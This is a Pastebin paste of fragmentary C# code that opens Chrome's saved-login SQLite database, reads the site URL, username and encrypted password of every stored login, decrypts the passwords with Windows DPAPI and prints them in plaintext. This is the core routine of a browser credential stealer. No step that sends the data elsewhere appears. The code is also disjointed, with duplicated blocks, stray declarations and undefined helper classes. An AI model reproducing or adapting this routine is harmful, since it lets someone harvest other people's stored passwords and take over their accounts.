Advertisement
Guest User

Untitled

a guest
Apr 15th, 2017
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.75 KB | None | 0 0
  1. public static SQLiteConnection connection;
  2. public static SQLiteDataReader reader;
  3.  
  4. using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
  5. {
  6. connection.Open();
  7. SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
  8. using (reader = command.ExecuteReader())
  9. {
  10. string host = null;
  11. string user = null;
  12. string pass = null;
  13. while (reader.Read())
  14. {
  15.  
  16. host = reader["origin_url"].ToString();
  17. user = reader["username_value"].ToString();
  18. pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
  19. if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
  20. {
  21. Console.WriteLine("{0},{1},{2}",host,user,pass);
  22. }
  23. }
  24. }
  25. }
  26.  
  27. if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
  28. {
  29. Console.WriteLine("{0},{1},{2}",host,user,pass);
  30. }
  31.  
  32. public static void DB()
  33. {
  34. try
  35. {
  36. using (con = new SQLiteConnection(string.Format(@"Data Source={0};Version=3;New=False;Compress=True;", Path)))
  37. {
  38. con.Open();
  39. using (SQLiteCommand cmd = new SQLiteCommand(con))
  40. {
  41. cmd.CommandText = query;
  42. cmd.CommandType = CommandType.Text;
  43. using (reader = cmd.ExecuteReader())
  44. do
  45. {
  46.  
  47. if (!string.IsNullOrEmpty(reader["username_value"].ToString()))
  48. {
  49. byte[] decrypted = ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.LocalMachine);
  50. Console.WriteLine(reader["username_value"].ToString());
  51. Console.WriteLine(Encoding.ASCII.GetString(decrypted));
  52. Console.WriteLine(reader["origin_url"].ToString());
  53. i++;
  54. }
  55. } while (reader.Read());
  56. }
  57. }
  58. con.Close();
  59. }
  60. catch (SQLiteException ex) { Console.Write(ex.Message); }
  61. finally { con.Close(); }
  62. }
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement